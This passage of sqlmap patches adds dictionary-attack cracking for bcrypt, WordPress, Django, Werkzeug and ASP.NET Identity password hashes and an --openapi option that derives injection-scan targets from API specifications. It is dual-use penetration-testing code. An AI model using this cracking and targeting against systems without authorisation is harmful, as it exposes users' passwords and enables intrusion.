= "./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" + +_bcryptState = None + +def _bcryptInitState(): + global _bcryptState + + if _bcryptState is None: + count = 18 + 4 * 256 + ndigits = count * 8 + prec = ndigits + 16 + one = 1 << (4 * prec) + + def _arctan(inv): + total = term = one // inv + square = inv * inv + i = 1 + while term: + term //= square + total += (term // (2 * i + 1)) * (-1 if i % 2 else 1) + i += 1 + return total + + frac = (16 * _arctan(5) - 4 * _arctan(239) - 3 * one) >> (4 * (prec - ndigits)) + hexstr = "%0*x" % (ndigits, frac) + words = [int(hexstr[i * 8:(i + 1) * 8], 16) for i in xrange(count)] + _bcryptState = (words[:18], [words[18 + i * 256:18 + (i + 1) * 256] for i in xrange(4)]) + + return _bcryptState + +def _bcryptEncipher(P, S, L, R): + for i in xrange(16): + L ^= P[i] + R ^= (((S[0][(L >> 24) & 0xff] + S[1][(L >> 16) & 0xff]) & 0xffffffff) ^ S[2][(L >> 8) & 0xff]) + S[3][L & 0xff] & 0xffffffff + L, R = R, L + L, R = R, L + return (L ^ P[17]) & 0xffffffff, (R ^ P[16]) & 0xffffffff + +def _bcryptStream(data, offset): + word = 0 + for _ in xrange(4): + word = ((word << 8) | data[offset[0]]) & 0xffffffff + offset[0] = (offset[0] + 1) % len(data) + return word + +def _bcryptExpand(P, S, data, key): + koffset = [0] + for i in xrange(18): + P[i] ^= _bcryptStream(key, koffset) + + doffset = [0] + L = R = 0 + for i in xrange(0, 18, 2): + if data: + L ^= _bcryptStream(data, doffset) + R ^= _bcryptStream(data, doffset) + L, R = _bcryptEncipher(P, S, L, R) + P[i], P[i + 1] = L, R + + for b in xrange(4): + for k in xrange(0, 256, 2): + if data: + L ^= _bcryptStream(data, doffset) + R ^= _bcryptStream(data, doffset) + L, R = _bcryptEncipher(P, S, L, R) + S[b][k], S[b][k + 1] = L, R + +def _bcryptBase64(data): + retVal = "" + i = 0 + while i < len(data): + c = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c >> 2) & 0x3f] + c = (c & 3) << 4 + if i >= len(data): + retVal += BCRYPT_ITOA64[c & 0x3f]; break + d = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c | (d >> 4) & 0x0f) & 0x3f] + c = (d & 0x0f) << 2 + if i >= len(data): + retVal += BCRYPT_ITOA64[c & 0x3f]; break + e = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c | (e >> 6) & 3) & 0x3f] + retVal += BCRYPT_ITOA64[e & 0x3f] + return retVal + +def _bcryptUnbase64(value, length): + retVal = bytearray() + positions = [BCRYPT_ITOA64.index(_) for _ in value] + i = 0 + while i < len(positions) and len(retVal) < length: + c1 = positions[i] + c2 = positions[i + 1] if i + 1 < len(positions) else 0 + retVal.append(((c1 << 2) | (c2 >> 4)) & 0xff) + if len(retVal) >= length: + break + c3 = positions[i + 2] if i + 2 < len(positions) else 0 + retVal.append((((c2 & 0x0f) << 4) | (c3 >> 2)) & 0xff) + if len(retVal) >= length: + break + c4 = positions[i + 3] if i + 3 < len(positions) else 0 + retVal.append((((c3 & 3) << 6) | c4) & 0xff) + i += 4 + return retVal[:length] + +def bcrypt_passwd(password, salt, magic="$2a$", cost=5, **kwargs): + """ + Reference(s): + https://www.openwall.com/crypt/ + + >>> bcrypt_passwd(password='U*U', salt='CCCCCCCCCCCCCCCCCCCCC.', magic='$2a$', cost=5) + '$2a$05$CCCCCCCCCCCCCCCCCCCCC.E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW' + """ + + P0, S0 = _bcryptInitState() + P, S = list(P0), [list(_) for _ in S0] + + key = bytearray(getBytes(password) + b"\0") + saltbytes = _bcryptUnbase64(salt, 16) + + _bcryptExpand(P, S, saltbytes, key) + for _ in xrange(1 << cost): + _bcryptExpand(P, S, b"", key) + _bcryptExpand(P, S, b"", saltbytes) + + ctext = list(struct.unpack(">6I", b"OrpheanBeholderScryDoubt")) + for _ in xrange(64): + for j in xrange(0, 6, 2): + ctext[j], ctext[j + 1] = _bcryptEncipher(P, S, ctext[j], ctext[j + 1]) + + digest = bytearray(struct.pack(">6I", *ctext))[:23] + + return "%s%02d$%s%s" % (magic, cost, salt, _bcryptBase64(digest)) + +def wordpress_bcrypt_passwd(password, salt, magic="$2y$", cost=10, **kwargs): # WordPress 6.8+ 'bcrypt(base64(hmac-sha384(pass)))' + """ + Reference: https://make.wordpress.org/core/2025/02/17/wordpress-6-8-will-use-bcrypt-for-password-hashing/ + + >>> wordpress_bcrypt_passwd(password='hashcat', salt='lzlQrRRhLSjz486bA9CKHu', magic='$2y$', cost=10) + '$wp$2y$10$lzlQrRRhLSjz486bA9CKHuZRPoKz4uviT251Sq/r5OzKUBbrXwnQW' + """ + + prehashed = getText(base64.b64encode(hmac.new(b"wp-sha384", getBytes(password.strip()), sha384).digest())) + + return "$wp%s" % bcrypt_passwd(prehashed, salt, magic, cost) + def joomla_passwd(password, salt, **kwargs): """ Reference: https://stackoverflow.com/a/10428239 @@ -469,6 +729,56 @@ def django_sha1_passwd(password, salt, **kwargs): return "sha1$%s$%s" % (salt, sha1(getBytes(salt) + getBytes(password)).hexdigest()) +def django_pbkdf2_sha256_passwd(password, salt, iterations, **kwargs): + """ + Reference: https://github.com/django/django/blob/main/django/contrib/auth/hashers.py + + >>> django_pbkdf2_sha256_passwd(password='testpass', salt='salt', iterations=1000) + 'pbkdf2_sha256$1000$salt$N3DLJstEJ6mIjp0fq/KRcHmJ/4FtMzHYmW9fBHci/aI=' + """ + + dk = pbkdf2_hmac("sha256", getBytes(password), getBytes(salt), iterations) + + return "pbkdf2_sha256$%d$%s$%s" % (iterations, salt, getText(base64.b64encode(dk))) + +def werkzeug_pbkdf2_passwd(password, salt, iterations, digestmod="sha256", **kwargs): + """ + Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py + + >>> werkzeug_pbkdf2_passwd(password='testpass', salt='salt', iterations=1000, digestmod='sha256') + 'pbkdf2:sha256:1000$salt$3770cb26cb4427a9888e9d1fabf291707989ff816d3331d8996f5f047722fda2' + """ + + dk = pbkdf2_hmac(digestmod, getBytes(password), getBytes(salt), iterations) + + return "pbkdf2:%s:%d$%s$%s" % (digestmod, iterations, salt, getText(encodeHex(dk, binary=False))) + +def werkzeug_scrypt_passwd(password, salt, N, r, p, **kwargs): + """ + Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py + + >>> werkzeug_scrypt_passwd(password='testpass', salt='saltsalt', N=32768, r=8, p=1) if _scrypt else 'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b' + 'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b' + """ + + dk = _scrypt(getBytes(password), salt=getBytes(salt), n=N, r=r, p=p, dklen=64, maxmem=132 * N * r + 1024) + + return "scrypt:%d:%d:%d$%s$%s" % (N, r, p, salt, getText(encodeHex(dk, binary=False))) + +def aspnet_identity_passwd(password, salt, iterations, prf, dklen, **kwargs): + """ + Reference(s): + https://github.com/dotnet/AspNetCore/blob/main/src/Identity/Extensions.Core/src/PasswordHasher.cs + + >>> aspnet_identity_passwd(password='cutecats', salt=decodeBase64('AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA==', binary=True)[13:29], iterations=10000, prf=1, dklen=32) + 'AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA==' + """ + + subkey = pbkdf2_hmac({0: "sha1", 1: "sha256", 2: "sha512"}[prf], getBytes(password), bytes(salt), iterations, dklen) + blob = struct.pack(">BIII", 1, prf, iterations, len(salt)) + bytes(salt) + subkey + + return getText(base64.b64encode(blob)) + def vbulletin_passwd(password, salt, **kwargs): """ Reference: https://stackoverflow.com/a/2202810 @@ -560,6 +870,8 @@ __functions__ = { HASH.MYSQL: mysql_passwd, HASH.MYSQL_OLD: mysql_old_passwd, HASH.POSTGRES: postgres_passwd, + HASH.POSTGRES_SCRAM: postgres_scram_passwd, + HASH.MYSQL_SHA2: mysql_sha2_passwd, HASH.MSSQL: mssql_passwd, HASH.MSSQL_OLD: mssql_old_passwd, HASH.MSSQL_NEW: mssql_new_passwd, @@ -572,9 +884,16 @@ __functions__ = { HASH.SHA384_GENERIC: sha384_generic_passwd, HASH.SHA512_GENERIC: sha512_generic_passwd, HASH.CRYPT_GENERIC: crypt_generic_passwd, + HASH.SHA256_UNIX_CRYPT: sha2_crypt_passwd, + HASH.SHA512_UNIX_CRYPT: sha2_crypt_passwd, + HASH.BCRYPT: bcrypt_passwd, + HASH.WORDPRESS_BCRYPT: wordpress_bcrypt_passwd, HASH.JOOMLA: joomla_passwd, HASH.DJANGO_MD5: django_md5_passwd, HASH.DJANGO_SHA1: django_sha1_passwd, + HASH.DJANGO_PBKDF2_SHA256: django_pbkdf2_sha256_passwd, + HASH.ASPNET_IDENTITY: aspnet_identity_passwd, + HASH.WERKZEUG_PBKDF2: werkzeug_pbkdf2_passwd, HASH.PHPASS: phpass_passwd, HASH.APACHE_MD5_CRYPT: unix_md5_passwd, HASH.UNIX_MD5_CRYPT: unix_md5_passwd, @@ -591,6 +910,14 @@ __functions__ = { HASH.SHA512_BASE64: sha512_generic_passwd, } +if _scrypt is not None: + __functions__[HASH.WERKZEUG_SCRYPT] = werkzeug_scrypt_passwd + +# Recognized-only formats with no pure-Python/stdlib crack path; identified and pointed to dedicated tools +HASH_TOOL_HINTS = { + HASH.ARGON2: "an Argon2 hash (e.g. 'hashcat -m 34000' or 'john --format=argon2')", +} + def _finalize(retVal, results, processes, attack_info=None): if _multiprocessing: gc.enable() @@ -1023,9 +1350,14 @@ def dictionaryAttack(attack_dict): regex = hashRecognition(hash_) if regex and regex not in hash_regexes: - hash_regexes.append(regex) - infoMsg = "using hash method '%s'" % __functions__[regex].__name__ - logger.info(infoMsg) + if regex in __functions__: + hash_regexes.append(regex) + infoMsg = "using hash method '%s'" % __functions__[regex].__name__ + logger.info(infoMsg) + else: + warnMsg = "sqlmap identified %s that cannot be cracked with the " % HASH_TOOL_HINTS.get(regex, "a hash") + warnMsg += "built-in dictionary attack" + singleTimeWarnMessage(warnMsg) for hash_regex in hash_regexes: keys = set() @@ -1043,7 +1375,7 @@ def dictionaryAttack(attack_dict): try: item = None - if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): + if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.DJANGO_PBKDF2_SHA256, HASH.POSTGRES_SCRAM, HASH.MYSQL_SHA2, HASH.WERKZEUG_PBKDF2, HASH.WERKZEUG_SCRYPT, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.BCRYPT, HASH.WORDPRESS_BCRYPT, HASH.ASPNET_IDENTITY, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): hash_ = hash_.lower() if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): @@ -1068,10 +1400,32 @@ def dictionaryAttack(attack_dict): item = [(user, hash_), {"salt": hash_[0:2]}] elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT): item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}] + elif hash_regex in (HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT): + item = [(user, hash_), {"salt": '$'.join(hash_.split('$')[2:-1]), "magic": "$%s$" % hash_.split('$')[1]}] + elif hash_regex in (HASH.BCRYPT,): + item = [(user, hash_), {"salt": hash_[7:29], "magic": hash_[:4], "cost": int(hash_[4:6])}] + elif hash_regex in (HASH.WORDPRESS_BCRYPT,): + item = [(user, hash_), {"salt": hash_[10:32], "magic": hash_[3:7], "cost": int(hash_[7:9])}] + elif hash_regex in (HASH.ASPNET_IDENTITY,): + _ = decodeBase64(hash_, binary=True) + prf, iterations, saltlen = struct.unpack(">III", _[1:13]) + item = [(user, hash_), {"salt": _[13:13 + saltlen], "iterations": iterations, "prf": prf, "dklen": len(_) - 13 - saltlen}] + elif hash_regex in (HASH.MYSQL_SHA2,): + _ = hash_.split('*') + item = [(user, hash_), {"salt": decodeHex(_[1]), "rounds": int(_[0].split('$')[-1], 16) * 1000, "prefix": hash_[:hash_.rindex('*') + 1]}] elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.OSCOMMERCE_OLD): item = [(user, hash_), {"salt": hash_.split(':')[-1]}] elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1): item = [(user, hash_), {"salt": hash_.split('$')[1]}] + elif hash_regex in (HASH.DJANGO_PBKDF2_SHA256,): + item = [(user, hash_), {"salt": hash_.split('$')[2], "iterations": int(hash_.split('$')[1])}] + elif hash_regex in (HASH.POSTGRES_SCRAM,): + item = [(user, hash_), {"salt": hash_.split('$')[1].split(':')[1], "iterations": int(hash_.split('$')[1].split(':')[0])}] + elif hash_regex in (HASH.WERKZEUG_PBKDF2,): + item = [(user, hash_), {"salt": hash_.split('$')[1], "iterations": int(hash_.split('$')[0].split(':')[2]), "digestmod": hash_.split('$')[0].split(':')[1]}] + elif hash_regex in (HASH.WERKZEUG_SCRYPT,): + _ = hash_.split('$')[0].split(':') + item = [(user, hash_), {"salt": hash_.split('$')[1], "N": int(_[1]), "r": int(_[2]), "p": int(_[3])}] elif hash_regex in (HASH.PHPASS,): if ITOA64.index(hash_[3]) < 32: item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}] @@ -1102,7 +1456,7 @@ def dictionaryAttack(attack_dict): while not kb.wordlists: # the slowest of all methods hence smaller default dict - if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS): + if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.WERKZEUG_SCRYPT, HASH.BCRYPT, HASH.WORDPRESS_BCRYPT, HASH.MYSQL_SHA2): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] From fe69e6bfcc88d59f4ad35f93753a75ec29392199 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 21:12:46 +0200 Subject: [PATCH 17/34] Adding support for --openapi --- data/txt/sha256sums.txt | 10 +- lib/core/option.py | 68 +++++- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 5 +- lib/parse/openapi.py | 361 +++++++++++++++++++++++++++++++ tests/test_openapi.py | 456 ++++++++++++++++++++++++++++++++++++++++ 7 files changed, 893 insertions(+), 10 deletions(-) create mode 100644 lib/parse/openapi.py create mode 100644 tests/test_openapi.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 17ec05495..abab556e8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -181,15 +181,15 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -4fe3ac4c0d354d1ac42ad3f5dc1b308993588f8a249ff880d273f5031d6b52b0 lib/core/optiondict.py -ca3d9185aa5418cdfc79f43beb4ad6f6503496763f349ecef57fff278bcfc8c8 lib/core/option.py +91cc64c3dadf05eae666fcbbb0cd44c8ed8dd60592334b419ec8748cdded5f30 lib/core/optiondict.py +227716f876f3af24e2c5ae4818d1e3b9bc17627f1876d66bcefc4953e660f1af lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -5fa3141353791446463a215a5481048346aa0f1dde08f1fe8fa6834a22aa23c1 lib/core/settings.py +1769800f72aa1e88c885ffb641e6e816d7d569b8c4a554bf7c7de821961a5235 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -200,12 +200,13 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -2b1ccf7adab06d64784639ba4db9772cc7bd3de30ad52513d4350fbf798082ed lib/parse/cmdline.py +1a67c8e0c46fb1244535d3961c35300da4aecd1872fd1fe2e3a752a5643875ed lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py ea9b195e5f5030b96d1993c106c1e13fb5c7faaf6bdc5daacfd06ec984e7f323 lib/parse/html.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/parse/__init__.py +9cb95cc5136d5ac624860578099929fdb335face41026f79f49df4f52da9805d lib/parse/openapi.py d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73 lib/parse/payloads.py c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/sitemap.py 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py @@ -631,6 +632,7 @@ d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_ide caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py +a0d173bb595ffbd2b49ee7fb1519d9898aefc262f2565923c4fe41bbc06f57e0 tests/test_openapi.py 6e63ed05db0490148d1c8428d785a23b0d5d5a0f566cd397c9c4a8fe8a6ed7dc tests/test_option.py cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py 7554a918309cf0f2cd8a63a3bb7659708f13beffbcd5ce498ece9f9167d55c97 tests/test_parse_modules.py diff --git a/lib/core/option.py b/lib/core/option.py index e69067f68..8fd9c491d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -492,6 +492,65 @@ def _setBulkMultipleTargets(): warnMsg = "no usable links found (with GET parameters)" logger.warning(warnMsg) +def _setOpenApiTargets(): + if not conf.openApiFile: + return + + from lib.parse.openapi import openApiTargets + + if conf.method: + warnMsg = "option '--method' will override the HTTP method(s) derived from the OpenAPI/Swagger specification" + logger.warning(warnMsg) + + origin = None + if re.match(r"(?i)\Ahttps?://", conf.openApiFile): + infoMsg = "fetching OpenAPI/Swagger specification from '%s'" % conf.openApiFile + logger.info(infoMsg) + from lib.request.connect import Connect as Request + content = Request.getPage(url=conf.openApiFile, raise404=True)[0] + match = re.match(r"(?i)(https?://[^/]+)", conf.openApiFile) + origin = match.group(1) if match else None + else: + conf.openApiFile = safeExpandUser(conf.openApiFile) + checkFile(conf.openApiFile) + infoMsg = "parsing OpenAPI/Swagger specification from '%s'" % conf.openApiFile + logger.info(infoMsg) + content = openFile(conf.openApiFile).read() + + try: + targets = openApiTargets(content, origin) + except ValueError as ex: + errMsg = "unable to parse the OpenAPI/Swagger specification ('%s')" % getSafeExString(ex) + raise SqlmapSyntaxException(errMsg) + + if re.search(r"(?i)securitySchemes|securityDefinitions", content) and not any((conf.authType, conf.authCred, conf.authFile)) and not any((_[0] or "").lower() == HTTP_HEADER.AUTHORIZATION.lower() for _ in (conf.httpHeaders or [])): + warnMsg = "the OpenAPI/Swagger specification declares authentication (security schemes) but no credentials were provided. " + warnMsg += "If the API requires authentication, requests are likely to be rejected. Provide credentials with " + warnMsg += "'--auth-type'/'--auth-cred' or a header (e.g. --headers=\"Authorization: Bearer ...\")" + logger.warning(warnMsg) + + before = len(kb.targets) # openapi carries per-target bodies -> no conf.data fallback + mutating = 0 + for url, method, data, headers in targets: + if conf.scope and not re.search(conf.scope, url, re.I): + continue + if method not in ("GET", "HEAD", "OPTIONS"): + mutating += 1 + kb.targets.add((url, method, data, conf.cookie, tuple(headers) if headers else None)) + + added = len(kb.targets) - before + if added: + conf.multipleTargets = True + infoMsg = "derived %d target(s) from the OpenAPI/Swagger specification" % added + logger.info(infoMsg) + if mutating: + warnMsg = "%d of the derived target(s) use state-changing HTTP methods (e.g. POST/PUT/PATCH/DELETE). " % mutating + warnMsg += "Scanning them may create, modify or delete server-side data" + logger.warning(warnMsg) + else: + warnMsg = "no usable targets derived from the OpenAPI/Swagger specification" + logger.warning(warnMsg) + def _findPageForms(): if not conf.forms or conf.crawlDepth: return @@ -1852,7 +1911,7 @@ def _cleanupOptions(): if conf.tmpPath: conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath)) - if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe)): + if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe, conf.openApiFile)): conf.multipleTargets = True if conf.optimize: @@ -2728,8 +2787,8 @@ def _basicOptionValidation(): errMsg += "'SQLMAP_UNSAFE_EVAL=1' to be explicitly set" raise SqlmapSystemException(errMsg) - if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)): - errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'" + if conf.chunked and not any((conf.data, conf.requestFile, conf.forms, conf.openApiFile)): + errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r', '--forms' or '--openapi'" raise SqlmapSyntaxException(errMsg) if conf.api and not conf.configFile: @@ -3022,7 +3081,7 @@ def init(): parseTargetDirect() - if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)): + if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe, conf.openApiFile)): _setHostname() _setHTTPTimeout() _setHTTPExtraHeaders() @@ -3038,6 +3097,7 @@ def init(): _doSearch() _setStdinPipeTargets() _setBulkMultipleTargets() + _setOpenApiTargets() _checkTor() _setCrawler() _findPageForms() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 21c6cfa37..d449259df 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -19,6 +19,7 @@ optDict = { "sessionFile": "string", "googleDork": "string", "configFile": "string", + "openApiFile": "string", }, "Request": { diff --git a/lib/core/settings.py b/lib/core/settings.py index d39b04e52..50535bacb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.16" +VERSION = "1.10.7.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index dde875d91..e8ddc2d4f 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -144,6 +144,9 @@ def cmdLineParser(argv=None): target.add_argument("-c", dest="configFile", help="Load options from a configuration INI file") + target.add_argument("--openapi", dest="openApiFile", + help="Derive targets from an OpenAPI/Swagger specification (file or URL)") + # Request options request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL") @@ -1172,7 +1175,7 @@ def cmdLineParser(argv=None): else: args.stdinPipe = None - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.openApiFile, args.updateAll, args.smokeTest, args.vulnTest, args.fpTest, args.apiTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) diff --git a/lib/parse/openapi.py b/lib/parse/openapi.py new file mode 100644 index 000000000..996b5ece6 --- /dev/null +++ b/lib/parse/openapi.py @@ -0,0 +1,361 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import json +import re + +from lib.core.common import getSafeExString +from lib.core.data import logger +from lib.core.enums import HTTP_HEADER +from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from thirdparty import six +from thirdparty.six.moves.urllib.parse import quote as _quote + +try: + import yaml # optional (only needed for YAML specs) +except ImportError: + yaml = None + +# Best-effort extraction of concrete request targets from an OpenAPI (v3) / Swagger (v2) document. The +# document is treated as a request generator, NOT a contract to validate: for every operation a single +# concrete request is synthesized (base URL + filled path + example query/body from the schema) and any +# operation that cannot be built is skipped with a warning, so a loose/incomplete spec degrades gracefully. + +MAX_REF_DEPTH = 25 + +def _loadSpec(content): + try: + return json.loads(content) + except ValueError: + if yaml is None: + errMsg = "the provided OpenAPI/Swagger specification is not JSON and the optional " + errMsg += "'pyyaml' module (needed for YAML specifications) is not available" + raise ValueError(errMsg) + try: + return yaml.safe_load(content) + except Exception as ex: + raise ValueError("not valid JSON nor YAML (%s)" % getSafeExString(ex)) + +def _resolve(spec, node, seen=None, depth=0): + seen = seen or set() + if isinstance(node, dict) and "$ref" in node: + ref = node["$ref"] + if not isinstance(ref, six.string_types): # malformed '$ref' (non-string) -> treat as no ref + return {} + if ref in seen or depth > MAX_REF_DEPTH: + return {} + if not ref.startswith("#/"): + logger.warning("skipping external OpenAPI $ref '%s'" % ref) + return {} + seen = seen | set([ref]) + current = spec + for part in ref[2:].split('/'): + part = part.replace("~1", "/").replace("~0", "~") + if not isinstance(current, dict) or part not in current: + logger.warning("skipping dangling OpenAPI $ref '%s'" % ref) + return {} + current = current[part] + return _resolve(spec, current, seen, depth + 1) + return node + +EXAMPLE_MAX_DEPTH = 8 # request examples do not need deep nesting; caps runaway synthesis on large specs + +def _example(spec, schema, seen=None, depth=0, cache=None): + # 'cache' memoizes the synthesized example per $ref across the whole run - big real-world specs + # (Stripe/GitHub/k8s) reuse the same large schemas across thousands of operations, so without this + # the extraction is exponential. 'depth' caps recursion for deeply nested / self-referential schemas. + seen = seen or set() + if cache is None: + cache = {} + if depth > EXAMPLE_MAX_DEPTH: + return "1" + ref = schema.get("$ref") if isinstance(schema, dict) else None + if not isinstance(ref, six.string_types): # only a string $ref is a valid (hashable) cache key + ref = None + if ref is not None and ref in cache: + return cache[ref] + + schema = _resolve(spec, schema or {}, seen, depth) + if not isinstance(schema, dict): + return "1" + + value = None + if "example" in schema: + value = schema["example"] + elif "const" in schema: # JSON Schema 2020-12 (OpenAPI 3.1) + value = schema["const"] + 